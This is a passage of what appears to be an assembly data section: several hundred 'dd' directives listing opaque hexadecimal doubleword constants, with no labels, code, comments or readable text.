0ED37D98Ch, 3D059F1Ah, 2C776416h, 30F520F5h, 6E1B7681h dd 0A2CB55E7h, 0B46D0A7h, 0B26B87C1h, 7E01B25Eh, 0F0734E9Fh dd 774A9576h, 0D8BABB8Fh, 86B2D47Fh, 0CBC18D79h, 894255FAh dd 0C0C24472h, 86D5975Ah, 0CBA2FD2Ch, 5F15D57Bh, 0FA40F065h dd 0C01AFE24h, 0DBE587Dh, 0F79EF235h, 4A6D9015h, 83F88505h dd 0DA5BEDFEh, 31E31D61h, 0F87E4786h, 7E72F939h, 0E4FDAF7Bh dd 0DF798264h, 0BE3723B8h, 0D34D2181h, 3129A4D1h, 47F24AC7h dd 46A275E1h, 11A83132h, 0D8ACE46Dh, 2C51E7DEh, 78DEE7Fh dd 53174FC7h, 40B11934h, 0ECEF01A4h, 0E67A2FF0h, 0B40B3804h dd 387E69F7h, 0DE7F63DFh, 7A053E43h, 0E553E124h, 44B6B1BEh dd 42B6A997h, 0E3A5C2E7h, 0E2FB2BBEh, 1D48FBD0h, 7A4B359Eh dd 0DED9B75Ch, 0D1EA3F0Ah, 0C52B1D4Eh, 2C0FB17h, 13ABA249h dd 157BF2F5h, 9E0E8710h, 45983C73h, 0A6C3B466h, 0BA4279FAh dd 0C75F1CBh, 0C5DF0AEAh, 0F0C64AD1h, 0F1ABCADDh, 6AEE3BF9h dd 0D3245E12h, 11B38BACh, 501015F4h, 0F692AF69h, 529C15D6h dd 0F0B0CC49h, 766A1791h, 35E3C8Eh, 562CD9DFh, 0E5AA0666h dd 48E61F9Fh, 0D015FB58h, 6B460F17h, 0FB6C1C49h, 74FFD3FAh dd 4A83B6C7h, 0BAE28AE8h, 16702D1h, 0C4FBC5A1h, 26A0E144h dd 5992BA6h, 0A2F174E4h, 26BAE0FAh, 0F2D3E1Eh, 284E473Bh dd 219ACEB4h, 0C788D3BAh, 4C1E7557h, 101C75BDh, 0A2939A16h dd 994828A1h, 42CC087Fh, 0C0613395h, 5FDC742Ah, 9715EFC3h dd 864D98A9h, 0C9D50732h, 9D726372h, 0EF6D904Bh, 0BF1D0CA5h dd 33FB96AFh, 2B125F1Dh, 592602AFh, 45BA4AFFh, 0F003FD77h dd 576380EBh, 198D2D31h, 0D0E57F85h, 0AE1AAE11h, 0D93B3C98h dd 9ADDAA84h, 8D836F64h, 7F561F8h, 4DB6C686h, 18AB5EBDh dd 0F5FCC08Bh, 58FBE260h, 7760E5A2h, 1147F17Ah, 686C4A69h dd 0B4456AAh, 0D96A7DA4h, 67950E59h, 0C3F7B3E1h, 0DA1769C0h dd 4E6323ADh, 4021B16Eh, 95504912h, 508C6EA4h, 0E7BDE795h dd 62E4A5E5h, 316E54EAh, 12C8AA6Eh, 28AF871Dh, 0B0A2BBB3h dd 3752D04Dh, 4EA33E45h, 0C0A2B475h, 1D3914F9h, 0A0AEEB43h dd 3847DDB2h, 10BF4093h, 3F05969Eh, 84059B24h, 0C1E2BDB6h dd 53755B3Bh, 9F2BB86Bh, 9B797C38h, 0EF4112B8h, 70EAEF0Ah dd 22357793h, 32F38028h, 565C1B44h, 6F8817D5h, 0D34D5EA3h dd 8E47E8EBh, 0D9AD9BF0h, 42D79700h, 0E63197A1h, 0B5D003ADh dd 6B445200h, 3984FD14h, 0D3A51AE1h, 469BBF01h, 8097864Eh dd 0B09FA74Dh, 3B16F477h, 0B9AD2018h, 3C9F9A6Eh, 0BAF60E60h dd 15AD0DC8h, 6166955Bh, 371516F5h, 2FA2C85Bh, 0CF8687Fh dd 0BA48DCFDh, 8E0CA25Bh, 6959A566h, 5335BEEEh, 87FE2C41h dd 3CF5A71Ch, 379C99CEh, 55F24362h, 7D05F267h, 0B6F207A5h dd 52483C0Bh, 7D1CA7h, 0BF1F6BEDh, 1BA7B636h, 0D95C48BFh dd 55053DD4h, 0C768616Fh, 5B966A0Bh, 120215A8h, 22DBB757h dd 28B7B54Fh, 8DFA32AEh, 7911BF30h, 0A301EAF0h, 7E445AB5h dd 9D870698h, 4B6E74F1h, 76DB8D54h, 0E29A0779h, 0AEFE5371h dd 7F1DE53Ah, 83D72861h, 3E4F5147h, 0B317E40Fh, 7CA62940h dd 0B5554455h, 24B2BA75h, 0F1400DECh, 971F28EFh, 0AC80AE8Fh dd 0D6DDF28Ch, 3AD73F97h, 0EAF67C86h, 3C0970DBh, 47BEF0F1h dd 6CF97B6Ch, 0ED275C0Dh, 0FC2F539Ch, 0D429DE57h, 0FC7CEFA7h dd 0D1E0B312h, 0F638D07h, 23BFE77Bh, 35D2956h, 0F1ED7B4Eh dd 92AE0B99h, 67AF10AFh, 4921C749h, 587CA8C2h, 0EBE4CBFCh dd 124133F2h, 0AF81DD46h, 74239588h, 0D131359Bh, 741DB6E6h dd 0DC0F97D5h, 0F9D56F29h, 0F8FF077Dh, 8B765AA1h, 348593A5h dd 9A2924EAh, 3BE17E08h, 9B581DD5h, 7B8BE30Eh, 78341249h dd 6DB58E0Dh, 0A755B275h, 684FAAE6h, 968B7621h, 7C894E3Bh dd 523EB5ECh, 62936DBCh, 0CAEC3BB9h, 9B731FE5h, 0E9C80837h dd 0BEC26713h, 0C787BDF2h, 2E5A847Fh, 4ED1FABAh, 4467E885h dd 2970F2DAh, 9D802EF3h, 0D557FE70h, 0ABFFAB15h, 103DE5E4h dd 3870BA7Eh, 0C9F79D4Eh, 2D81FC6Fh, 0E41A6542h, 6D4AEAC6h dd 4E08998h, 806E9557h, 0ED3B117Fh, 60B3F9Ah, 0F47C192Ah dd 5C4A87C1h, 0DB18289Fh, 12D3BB60h, 0AFC2F5D5h, 5EA006C3h dd 0C2F79487h, 2065147h, 2C7C660Ah, 0AECA2A75h, 457026D1h dd 218DB533h, 0B1A84AB2h, 6B576966h, 14BF0A77h, 0C6BA4D0Fh dd 0FAFA8F2Dh, 0C6A8E78Bh, 0BD06B198h, 6990BFCCh, 3DE01D7Ch dd 0AD3BF426h, 0C54355F1h, 0B2AB396Dh, 5F6751F8h, 919F7E7h dd 6CD12AC5h, 8979069Fh, 31D54FEEh, 9C61B820h, 657BAB46h dd 553801C6h, 2D1E69F3h, 0E594A351h, 6C587F88h, 974F8828h dd 0EF956A03h, 0BDBFCA06h, 6B1A7BC6h, 5660CDFh, 0AEF29226h dd 0E2BC2CADh, 0B0F331F1h, 78EE5E70h, 0EA3CDCAEh, 0CCA72EA8h dd 387D0AAAh, 5F90FBCDh, 7657AD91h, 6A9E73ADh, 0F1EDDB67h dd 0E339B91Bh, 0FCD9C0F3h, 50FC5F0Ah, 0FA257D32h, 0DCEB752Ah dd 0B4153C99h, 2B725316h, 7E2FA8B4h, 372EB79Fh, 6AA25643h dd 0AE5196B3h, 0E286F18Fh, 4F2D5D0h, 0FDC0AAEFh, 2988EEC2h dd 700B5998h, 0DB77BE5Ch, 0FE92A34Ch, 563DE559h, 0DF79FB80h dd 13E9744Bh, 0D17C5F00h, 936D59E3h, 0B8200A84h, 94F81A7Ch dd 530A5A2Dh, 6AC2E565h, 0AA04AFD9h, 4CA45BEDh, 1683B405h dd 79FBC2CAh, 50463494h, 914B9979h, 1F81E178h, 0DFFA4E6Eh dd 5F2EB75Ah, 8EC58484h, 563A899Ch, 0EF346F82h, 34651B14h dd 15411F7h, 83C5DE59h, 0AC7DDD23h, 0F8DC8FA8h, 419F938h dd 94990FF4h, 0F8189F46h, 0EFC128E5h, 0E94E06EBh, 7C45776h dd 914CFF4Fh, 7D15F22Fh, 0DB66EC87h, 0A295025Bh, 0EE7651E5h dd 1F30855Dh, 55AEB471h, 31551B4Ah, 8107C8DEh, 0B44B7B85h dd 0B0190FC8h, 5D61C8D7h, 534E94BFh, 66F74CB2h, 0E89DC41h dd 5B1C7F50h, 1B00C502h, 6AD602BEh, 9F19973Fh, 75BF3B6Ah dd 586468BDh, 0A68B9B95h, 5A245C7Eh, 7FB8B92Ch, 7D3B3A81h dd 0C4B3EF5Bh, 0F8ABE185h, 915825CCh, 8D35BD86h, 273E3AFAh dd 0EF559F36h, 2C0D6CBAh, 248B272Fh, 580114F0h, 0B3D12CF4h dd 0F2A5833Eh, 987F72A6h, 9FFB99D9h, 0F6696E8Ah, 8CEE54F5h dd 7FA61FDFh, 7F6FA0EBh, 0B63E6DA2h, 0DB4F0A78h, 986320BEh dd 6FCC289Dh, 4A1C02DBh, 0D43DA95Eh, 0ED5CB06Fh, 963045E2h dd 0A7C90EB8h, 81EEE60Bh, 587E42BBh, 2D26FCEBh, 0E017C17Eh dd 0CEE1A326h, 0FDD6E718h, 9E047245h, 6BC8CAF5h, 6BC85F8Dh dd 0FC08C861h, 50FC9EDh, 0F4C3EE52h, 0E3E1C67Dh, 1F445F26h dd 1E55FA78h, 0B7493A29h, 0C97D07A8h, 0C7757F9Fh, 0F6DAE6E3h dd 4D8A24Dh, 672F6FAAh, 3F672774h, 3E17BDB5h, 3E40FC0Eh dd 4CD48F3Eh, 5F7E5F91h, 0ADF35FA9h, 51B00409h, 44CEA114h dd 36AFD169h, 0E87241FEh, 8B690357h, 8A6AEA8Ah, 6278F414h dd 8C3CBDDAh, 0CA1435D8h, 2CC2B793h, 0C1F779C0h, 3BE140B1h dd 0ECDA33A6h, 4C999E3Ch, 2383EB5Bh, 3F597EEh, 0E5FBCB33h dd 68036157h, 49F354Eh, 0A37E2B4Fh, 69D83BA9h, 5F2B6543h dd 0D5DA8B87h, 2171CB68h, 0ACFE7CD5h, 8BDFD766h, 5E2FD516h dd 0C7A11F39h, 30D5E39Ch, 0ABBA1960h, 561EC0AEh, 0DF242037h dd 0B977B380h, 5D8516B1h, 857DED54h, 872B8533h, 0B6133F1Bh dd 0B92C56DDh, 7C2401C4h, 0B849D960h, 0F6DEA550h, 541E7E94h dd 0AE1AD463h, 2EC18345h dd 2DED8FC7h, 0F48CA25Dh, 0B4FF4F59h, 0ED7867CCh, 0A8D175E2h dd 0ED744E61h, 0B6116F74h, 0C36DF6A6h, 33E8C4FEh, 32AA9737h dd 41EF5398h, 15858F69h, 114C62FEh, 56DFF5B6h, 6EAC1CABh dd 5F616906h, 2B0AA2FBh, 5F812E87h, 3F9537B6h, 7F16E565h dd 7791BC61h, 50DF36E7h, 3081F078h, 5CDFB942h, 1D9FA3F7h dd 0DF450A53h, 54BE51D0h, 0EED67F56h, 9674B017h, 365CF421h dd 0E12EB4ABh, 5FFC0F1Fh, 0BD7E9CC4h, 0EBBCA7A8h, 41061D69h dd 0E3408BD8h, 0BB475DEAh, 7383F0F5h, 0F7836BB1h, 0E02857C0h dd 85486487h, 2A19AEC7h, 0ECBB48B3h, 4E6F14AEh, 185AA84h dd 17B2589Dh, 98D8E2DFh, 0DB46A16Dh, 0C0D4B7F9h, 0BB56BD77h dd 0AACFD6ABh, 287E562Fh, 8B570631h, 0A8B80E13h, 4D7B6BF6h dd 0F3A42978h, 0EA801D4Ah, 38FA1FCh, 2ABAC8E5h, 0F550D151h dd 0AB39AAE3h, 5ED1B457h, 0D2E41958h, 8516F97Bh, 0F9E4B891h dd 9A9F89FAh, 2EA2944Eh, 0EB7812BAh, 2CC68259h, 0D26D6C87h dd 445C4822h, 2EA04812h, 0AA3543BEh, 0F2A1F62Bh, 7F2A77AEh dd 7AD25B4Ch, 9C14217h, 9C773406h, 0AB69E3BEh, 0DFEB360Ch dd 999A5F2Fh, 0CA43F396h, 0A6A4AD29h, 4B9F8144h, 0AA97396Ah dd 0BB5554D7h, 5B6B0A5Ch, 0CB95599h, 8985B473h, 0C4E2A6B2h dd 0A9DBD1C6h, 9849CBEEh, 0BEA96CF2h, 1F3CC5A5h, 8A98A498h dd 47ED8AF9h, 0B03F28C4h, 38AB4671h, 58ABEDA3h, 514BE5EAh dd 0D16C90FCh, 29858BAEh, 0E29EA63Dh, 0D4BFBFBCh, 63FAA05Ch dd 5A74B7CAh, 9BFE4EA5h, 57E4F582h, 58E8FDC5h, 6EF82A09h dd 9F2870B1h, 0A78B02Ch, 0F0758297h, 0DAD1BA78h, 0ABF9FADh dd 0D489AECEh, 4DFA9316h, 0C3D7A7A6h, 3ED2A0C9h, 86DAD862h dd 0BF2EFF3Fh, 0A5D4DE54h, 0F8D18310h, 2018CBFAh, 6DF38DCDh dd 0CE1B2D58h, 0E7676827h, 616B8B9Fh, 0FBF47C75h, 5712B736h dd 0E21F0F70h, 8FE92C4Ch, 72AA8FB0h, 0E57D7DEh, 6CC4568Dh dd 5FFC37CDh, 5965A843h, 0FB07E697h, 6B692A39h, 0CC23C1D6h dd 8160DEACh, 0BFC683C9h, 8397B79h, 0A391CA80h, 96D77CA5h dd 48938268h, 0C0FEF75Bh, 2A5E4D90h, 67CE6B3Ah, 3E0B011h dd 93AF9265h, 43F18D69h, 7AEFF4A3h, 0A2333F3Bh, 7E160C25h dd 0EBF45D0Dh, 0ECEB8D5Fh, 0B5F55BBAh, 4407EA18h, 2AAA248Bh dd 0DEE84F9Bh, 3968DB8Dh, 5485AA92h, 6575815Bh, 0CE386ECEh dd 0E2960CCh, 9C6F7B1Ch, 0CF4F4AB4h, 0FC6BECA4h, 0AC5B1197h dd 3D1814CBh, 32A784A4h, 79295F7Bh, 5C5FF924h, 0BBD9A8FBh dd 195535C9h, 6ADB5108h, 0EFB92D29h, 2BFE173Fh, 5A2399CAh dd 5166356Bh, 54AEB557h, 9EF65234h, 2BBB34Ah, 5D7CBE92h dd 0ABFCFF72h, 226F9C0Eh, 7B0C28B3h, 0F7C43180h, 303F35C1h dd 52055449h, 0AEC1AEACh, 149E7773h, 0F4CFABFFh, 0C2DD08CCh dd 72D4B0BFh, 6F8F21DAh, 0B1FC24Bh, 217F91D8h, 22AE4624h dd 0C1568E69h, 6AA41EA4h, 0D180D2B7h, 6C95E561h, 81ECAC23h dd 91DACB4Fh, 0F8F45934h, 6781B854h, 4AEA10FCh, 5291D73Ch dd 0FA0A9A06h, 85619B24h, 2AEB1969h, 6A33EA26h, 59737B96h dd 41CAF6BBh, 0F0443C1Fh, 37FC57Ah, 0C7118AF0h, 0D4F16CA0h dd 0E6FA59AEh, 0C0FAC205h, 0ECE72D6Dh, 0CDBF3E31h, 6AA439A4h dd 0AD1A8CAFh, 2FCBFBF2h, 0C7A8148Eh, 9DAAC93Ch, 0BD88A017h dd 1D61415Ch, 0D37F6258h, 0D15D5217h, 33CBEA0Ah, 3BBFDB60h dd 2429A7C9h, 86FFF6DDh, 245D361Bh, 8BF11E30h, 7205E15Bh dd 3FAE7F96h, 74BB637Fh, 5EB0AD4Dh, 0B83D0B62h, 853DE886h dd 0A87E7717h, 0AC60C79Ah, 409D1AF6h, 0A0837049h, 968DE35h dd 7E75A553h, 0BA28FF51h, 9C8260ADh, 79BBFE99h, 92DBE69Ah dd 0ED59AD83h, 469C9294h, 1DC9D338h, 0EC23EFF0h, 7DAB376Fh dd 110790C5h, 0FFCB93D7h, 953F0FEAh, 0ADFFA96Bh, 5FF15F93h dd 0EC1F6E80h, 2DD130C7h, 1B0B3F28h, 0A0B97D0Dh, 3918D797h dd 5572085Dh, 0B7ED4E5Ah, 4FDD41F9h, 753B0104h, 382681E7h dd 0AAF1746Fh, 0EF21D46Ah, 0F00DC358h, 0C0F9698Dh, 58DE7FB2h dd 0B2A78195h, 0A59D4F76h, 1BDB6F11h, 956642Dh, 0AE6F4AD1h dd 5E80F804h, 76A630ACh, 0D9DA2B26h, 0C1454F03h, 427D12C2h dd 502C52DDh, 9DFED0D8h, 0DD8BC7DFh, 18963BBFh, 7C479AF8h dd 0D5258BECh, 4FE7E399h, 2AA203B2h, 4CAA259Ah, 4CDE369Fh dd 56B1F2BFh, 4015E86Ch, 0C17456F3h, 0A093A07Ch, 0D7C9A425h dd 0E03620BAh, 19065292h, 69682AE3h, 7DB3E3E9h, 4D3C464Dh dd 99DB3229h, 55781E65h, 0D92C44C5h, 0B93BB539h, 40B60F6Fh dd 5F1A894Fh, 767A8DD1h, 0E75FD27Dh, 0CF44D7A8h, 0DE347E94h dd 0B370B0F5h, 89F4EEF3h, 7C5D3536h, 2F899ADBh, 14BE4473h dd 66BB9EE9h, 7098954Fh, 8BBC6637h, 2AA2CC34h, 4B4E4291h dd 1B5B8E66h, 0F314A029h, 385D66BEh, 0D04A64AFh, 2512F68Dh dd 0E3BBB083h, 4B712D87h, 8879A85h, 23DD4CBAh, 7BA98753h dd 4FE573DEh, 2200AE65h, 7DF8BDC7h, 0A662C609h, 13B74FA1h dd 4F92ED38h, 0B68B5CC5h, 27E510D5h, 2EB43FB1h, 85DF1E95h dd 0FD5489AEh, 1A2C30E5h, 0A9D8AC9Fh, 0A0915FC5h, 0CD385A6Fh dd 8B635FFBh, 8CCF8AA6h, 6403AC76h, 8AD6EEAFh, 898B5593h dd 40B307D1h, 0EB69E2B3h, 0D1927E38h, 33AA355Ah, 0F9DFCAE4h dd 340D0E55h, 6FC121DFh, 0D9170D4Bh, 94915ACAh, 0C1A4F0AFh dd 35101A0Ah, 1C0C2E66h, 574B33BCh, 18F8EB04h, 0D7A3799Eh dd 6B44F321h, 0ADC060DAh, 0E2DEBEE2h, 595AF411h, 3F1F67EBh dd 2FE9E944h, 0B0EB6FEEh, 0F5F5448Bh, 2E187968h, 0BA60F4AAh dd 6B0709F0h, 0E63579F5h, 3168CBC0h, 754E997Ch, 0FAA59729h dd 0EB601BB0h, 0C8EB6A2Ah, 2AAA2673h, 47974561h, 0CEF8D434h dd 15FD8B9Fh, 0F051EBF5h, 80EDAEC3h, 3BC549AAh, 2F554BB4h dd 5FEB2D72h, 0DB417BCAh, 0C11CD480h, 0AD15161Dh, 0EAEA9F82h dd 2F5650A9h, 7D7848B1h, 17F0581Eh, 0F51204AFh, 0A4915BAh dd 0A8FCB376h, 5BAE798Eh, 0EA95988Bh, 2FCA921Dh, 0B9819E81h dd 0AACFACAFh, 0A65F77B5h, 971F357h, 57FBB8A0h, 0E0F29E0Fh dd 0BE51B3F3h, 0D976E072h, 5F196F2Ah, 0BE04DA38h, 9CBA61C9h dd 3C98A78Fh, 1099E5DDh, 2805D7F7h, 1BBE0D62h, 0DD41B19Fh dd 1547244h, 7420FBB9h, 6B12BA95h, 47354D8Eh, 95BDAA00h dd 43D14A64h, 51B1462h, 8EAEE381h, 2FCD6F2Ch, 0A27F635h dd 7F85E26Ch, 86DCC655h, 6FFA6A1Dh, 0A628EC69h, 17290BA1h dd 5404C41h, 0CBAA2C0Dh, 549F16D2h, 0AF87F68Ch, 0E58E05ECh dd 859BC52Fh, 0F3BEBE87h, 0F668A3BDh, 98139434h, 0BF07FEC1h dd 610E313Ch, 0C0572508h, 4B03D2DEh, 30A587B4h, 0DE7651E2h dd 0BCDEBADEh, 0B3483A2Ah, 0CEC557C9h, 88CDEB98h, 4C828C13h dd 49C381C9h, 0C9E58F7Fh, 4ABB9AFBh, 2E964BABh, 7759401Fh dd 12A4DED3h, 0AB998C96h, 2832D344h, 0B943CE1h, 5D4F7D31h dd 4046C966h, 21F81269h, 5D60CDF8h, 0F3EBEE87h, 0E8CB4C55h dd 0D11947D6h, 9A60CDA6h, 2FD4A02Ch, 4B03148Ah, 0E6271814h dd 0B54EC9D7h, 8F9F4F87h, 0FD79DB68h, 24F10B2h, 8B8A1F47h dd 97801C6Eh, 0AF79EB69h, 38171AA3h, 2BF8C935h, 0D15BFBE4h dd 272B2794h, 540CDB19h, 0F90CA24Ah, 2F4BF422h, 425C9BBDh dd 93DF794Bh, 0FC2CF538h, 0AC91DEC0h, 42D47769h, 6F5FD5E6h dd 0A6165E5Bh, 6993D49h, 25B32BA5h, 0A413BF9Ch, 0C81C3C24h dd 0DFD54594h, 303F3508h dd 2AEAD68Eh, 0DC5EBB9Eh, 0C835AA23h, 0E56173EEh, 0CCB1FA9Eh dd 0E5B7A2B5h, 0B3B74F95h, 0F6D15B09h, 1651C143h, 0CFFCBFCDh dd 0C928EFA8h, 0EB0BDB54h, 61750240h, 0AD6B0D37h, 0AE4FACAh dd 0FF7E3717h, 2538D634h, 8166E44Fh, 1F8EE057h, 0CCBF9115h dd 0DBC17CC3h, 2FD4D9A4h, 31287DB1h, 51915CA1h, 0EE8382A9h dd 7F15428Ah, 0E9D2300Ch, 899D311Ah, 63D77F72h, 0ACCEF6B7h dd 5D695F82h, 777D8F74h, 1F9E9BFDh, 2CB2BB98h, 7AF85F63h dd 0E253479h, 67B72367h, 0F21F65Eh, 1DC6123Eh, 0BD94B34Eh dd 6BBFD132h, 4822F47Ah, 0C0AE9D65h, 319F5A9Ch, 9AC2BF4Ch dd 34C5AFBh, 6482AA92h, 0B67EA541h, 790420A5h, 0FB2E30AAh dd 4C18A68Fh, 0FF00A2BAh, 9A858A2Fh, 6DBDDD22h, 5FA3F150h dd 0D4CDB85Ch, 0D03B1323h, 458C955Ch, 0A849F90h, 74C015CEh dd 782809F1h, 562FF23Ah, 0FE80D38h, 3DC9954Dh, 0D8667632h dd 61F8A9E5h, 584E8D72h, 7E8B3B3Dh, 6AD3791Fh, 0A2D67412h dd 3AF25236h, 7376F6CAh, 5D540A14h, 2CE3A657h, 1330DB9Bh dd 0E595C430h, 79FC2DEFh, 4DA2DFBBh, 3CA3F240h, 0CE3C65B0h dd 0BE159D3Bh, 0D90E0B60h, 612E9193h, 6C8A5C3Fh, 2FE5C4C1h dd 0F37DE0B2h, 92DAABC1h, 16FCB094h, 0F88E176Eh, 9B76DEE1h dd 0E87E13F6h, 7BAD324Eh, 0E07A83E2h, 45E45A87h, 8C49F977h dd 0EFC2557Eh, 229BE5EBh, 0EF67A45Eh, 360C3181h, 768E9F5Eh dd 492E7CA3h, 35B9364Fh, 40BF5C30h, 2A5CDBD4h, 0D05C83DBh dd 0F5107A2Eh, 37B4C955h, 5598F37Dh, 5B267365h, 0D1DFF2FFh dd 2A85B303h, 0BABF7FAFh, 0DB29962Bh, 1AFC8FECh, 45CDBD8Dh dd 9902561Bh, 3A5B8F0Ah, 9B077701h, 0CEAA187Dh, 33008E9Bh dd 0E29C579Ch, 0E6CE5FD7h, 2AE5C362h, 0AC18B0EBh, 5DE5EF05h dd 4276D4ADh, 6AEA017Fh, 0DEA0B455h, 180DEC6Eh, 40415029h dd 0B4459FACh, 0A12D2D3Bh, 0B2382987h, 68164CBAh, 0A46FBB68h dd 0A368C597h, 6B16352Ah, 52D295C1h, 782FA56Ah, 447A676Fh dd 30D1E986h, 1702D010h, 0CC6275FCh, 5F4CFC19h, 0F955AA59h dd 0AA1663FDh, 8A9C76CEh, 62358B3Dh, 0E4046835h, 780E6764h dd 2531CC5Fh, 1C1F663Ch, 0C15E2F62h, 85812A82h, 6433B422h dd 0EADAE3EAh, 0D1C31B52h, 2578692Eh, 6764F0B8h, 5458A85Dh dd 0E58EA44Ah, 36BA2647h, 0A5299415h, 290C212Ah, 355B8177h dd 2BBB77A3h, 3849BADBh, 5BB9D555h, 0BFC1D6AAh, 0B0BA07DEh dd 0CE2F4833h, 0CC5FF769h, 0C1696DA6h, 0B7DA39FAh, 0F1E96C86h dd 54719773h, 0A2C71E09h, 4EC1EE7Dh, 0FA37A784h, 575F36F9h dd 0C7492FB0h, 16224EFAh, 0DD7F94F8h, 0CB1F3AF7h, 0E0CB70BFh dd 0B07B1681h, 0D19DFAB5h, 904F6F66h, 7E2C5D5Eh, 95349F55h dd 61F86CDFh, 0C152FBCBh, 0F9CAFC76h, 0F3C2E1BCh, 15AB8CEDh dd 6658CCFAh, 565ADBCDh, 5F7BC48Dh, 117E62F9h, 0DDD4F94Fh dd 21B116EFh, 9065BCAEh, 607B9D20h, 0B46A2AE8h, 15DE766Bh dd 8F175077h, 0D8F7C701h, 2326050Ah, 0C8D45A48h, 23B2B1ECh dd 210E9468h, 1F61CD6Ch, 0C44F0FBAh, 2A4AB128h, 0E03A0F9h dd 2418DC6h, 622EE2A0h, 18761FBFh, 23E72236h, 798B263Fh dd 625FE07Dh, 0AEF18C43h, 0F97C877Eh, 34C87945h, 7FDAF9ACh dd 0B59B1844h, 55EC6D13h, 8D1A7329h, 0E4E3EF07h, 6E9651C8h dd 0CDDF540Dh, 6797BF03h, 0B1CEDEFAh, 0A3E5B3AEh, 0F7F67DCEh dd 3E2AAB97h, 80CF6613h, 0EF7E8B06h, 0A9FF02CAh, 0AFD835D8h dd 0A68E7738h, 7C06B405h, 0A6A3941Ah, 59DD134Eh, 0E2DDBCF5h dd 2BB946FEh, 4F03D829h, 9475FFBFh, 0D1FAC0B7h, 0A830CF93h dd 337E98F7h, 0EF97FC4Fh, 782A105Fh, 0E77C5D75h, 0ECDAAEDCh dd 3327A01Dh, 910287B3h, 0A5155756h, 0BBFC1214h, 0CCAA6891h dd 0BEC64E9Fh, 0B5ED86C4h, 0C63D0818h, 56956AFBh, 0F1D486B9h dd 9CE555A2h, 2F39B7BFh, 0D5FF537h, 82589AC6h, 0C5D053DCh dd 83DA85BFh, 7BE7A85Ah, 0A2B3A263h, 7E3BC53h, 0E3FB3F56h dd 135ED9C6h, 98926EEAh, 8D0F6B0Bh, 0DB91EB93h, 0AF64ACA9h dd 0D3ED9BFBh, 26E6E018h, 0F1940095h, 3BB2967Bh, 0CD57CE1Ch dd 2D15E13Fh, 5943AFAEh, 0E523DD40h, 57A0D2B9h, 0D5755A46h dd 2AE0C07Ah, 17A8DFD8h, 7FBA4A39h, 54859E2Ch, 850BF851h dd 0DC5FCCE8h, 0FD9D4F5Fh, 75E71578h, 4996E176h, 0C213D235h dd 8EEEC9DFh, 1D9805EBh, 0A6EF50B7h, 7746CBDCh, 7557C66Dh dd 3BE2569Dh, 22502F5Ah, 47FD756Eh, 912FE4AAh, 9304CBBBh dd 0DEC6024Ch, 687CB001h, 5E6562F6h, 42F57C16h, 4046354Fh dd 743807FDh, 5E32761h, 370D6679h, 0C5CF7882h, 557E04C4h dd 1F8076A2h, 5EB56DD6h, 0BAA48EBEh, 0BE571ED9h, 0AF1FD1A4h dd 9B0DD2A1h, 515D351Ah, 35388C7Fh, 0C25980C6h, 0ABC8879Eh dd 865480BEh, 567CB413h, 1D3DF98Dh, 0DD9F3C30h, 0FF6B90B9h dd 0D99C7B97h, 0FBBF1377h, 0BC3CEF1Ch, 0E415B87Eh, 0EE07A4A6h dd 8F9E7128h, 0B6F7D598h, 44A07ED1h, 745F4547h, 0D3C15920h dd 0DC2362BEh, 0A292F8ACh, 0EE7CEB94h, 8B165E03h, 8156B2F9h dd 75FBF050h, 0F81345FCh, 0D694F121h, 66037727h, 4AE4CFF7h dd 3155C319h, 0FFF4395h, 5D49282Dh, 665B07CFh, 0B0EC8C8Dh dd 3F6D01BBh, 2C5F3BB9h, 13E13C4Dh, 0A6E8E3B2h, 3B352D4Ch dd 0FC539AAh, 0BF1EAB3h, 371E40B0h, 0C39D4B67h, 71BBCB14h dd 9D7D57B4h, 4886BEBEh, 0AC25FECCh, 373940FDh, 1D8755Ah dd 602729A5h, 93FA290Ah, 1786B90Dh, 0C265CA14h, 0F923AEA4h dd 0FD831FFBh, 3EBCB115h, 0ED776B6Eh, 9B29AEE8h, 4B9F6834h dd 0BEED7FB5h, 260E56FBh, 96908949h, 3037195h, 0D4A16EB5h dd 0A02EE2F6h, 46FEDAA0h, 0D47BE75Dh, 0BEB1C3F1h, 41889210h dd 2D7F9C6Dh, 56D48EDFh, 0CD1163D9h, 9F84A68Fh, 0EAC03D62h dd 62B4A379h, 65FC3609h, 5F3FC7AEh, 0F138141Eh, 6EE1CE5Fh dd 0EFBA8244h, 40496BBAh, 157FA3E9h, 47A65CDBh, 0A04D166Fh dd 386A3FC4h, 79A29C17h, 2276E72Bh, 0B7272243h, 8CEC6DB8h dd 8E18B1BBh, 27D2599Eh, 8264A862h, 113A89CAh, 0B101BB55h dd 59FDA0D8h, 1D2F06DCh, 79196FB0h, 2CBD91B4h, 0B65F535Bh dd 0E69D1015h, 0C0FA636Fh, 9138EA88h, 34FFAA11h, 1E945FEBh dd 0F3F6F9Fh, 0FE83C5B9h, 4F8756DBh, 8A4F8184h, 0EADC359Eh dd 197EC2A6h, 3B518666h, 7C7932Bh, 6DB99BD6h, 0B699B7D0h dd 1008E5FFh, 89CFC47Bh, 9FDFB67Fh, 334B0C57h, 0AF8B8497h dd 1347CD77h, 0AA34AA85h, 0ABCB6AAh, 784AF90Ah, 0AC35AC70h dd 384B3D1Eh, 71A9B307h, 77FDFD06h, 5107BD08h, 0AD9DCE25h dd 0DA3DDB9Dh, 2A3AE51Ch, 4E63BCA9h, 6765C7E1h, 1F1CC51Eh dd 8B705D31h, 0E31EBC68h, 42F090ADh, 56E51BD0h, 0ABAF4440h dd 4F7B55C3h, 780A3658h, 387EF694h, 0FB6E7398h, 39AF568Bh dd 460B8263h, 759C50D7h, 0D755DDA3h, 0A2371AA1h, 8473DEAEh dd 0A294A02Ch, 0D6681075h, 5517115Dh, 0F08C50B9h, 0E18EDF00h dd 0FE58291Ah, 0DD73CEE1h, 0C136B19Ah, 0F385CDB6h, 9C27BB55h dd 0BB53FE56h, 0B2ED920Eh, 0FB510129h, 8222BA5h, 0B2D7B83Ch dd 97E49066h, 0FFAF3DFDh, 5A7F6C72h, 0A6721818h, 9F513748h dd 0E085A768h, 783C741Ch, 0BE76B9D7h, 0D532B88Bh, 519926A8h dd 1D6D94F0h, 0F5A9A8C5h, 82918B71h, 0F2773FE9h, 0E91CB31Bh dd 0B44688CAh, 0E5563799h, 551375A2h, 22A31AE7h, 0DA9F946Dh dd 0E48F0CCBh, 52E8B98Fh dd 69DBD991h, 7E1DC073h, 4673A2FCh, 0B0EB64Dh, 7F3E4ECAh dd 0D154F649h, 0BF6EABACh, 78EB385Dh, 0DD0C76D1h, 0DCEA858h dd 81132C3Fh, 70EE8FB6h, 65D3FED6h, 0FE525953h, 78DCECB4h dd 969699E0h, 80C62CEFh, 0C78E5FEDh, 0B6F69E6h, 26C682E6h dd 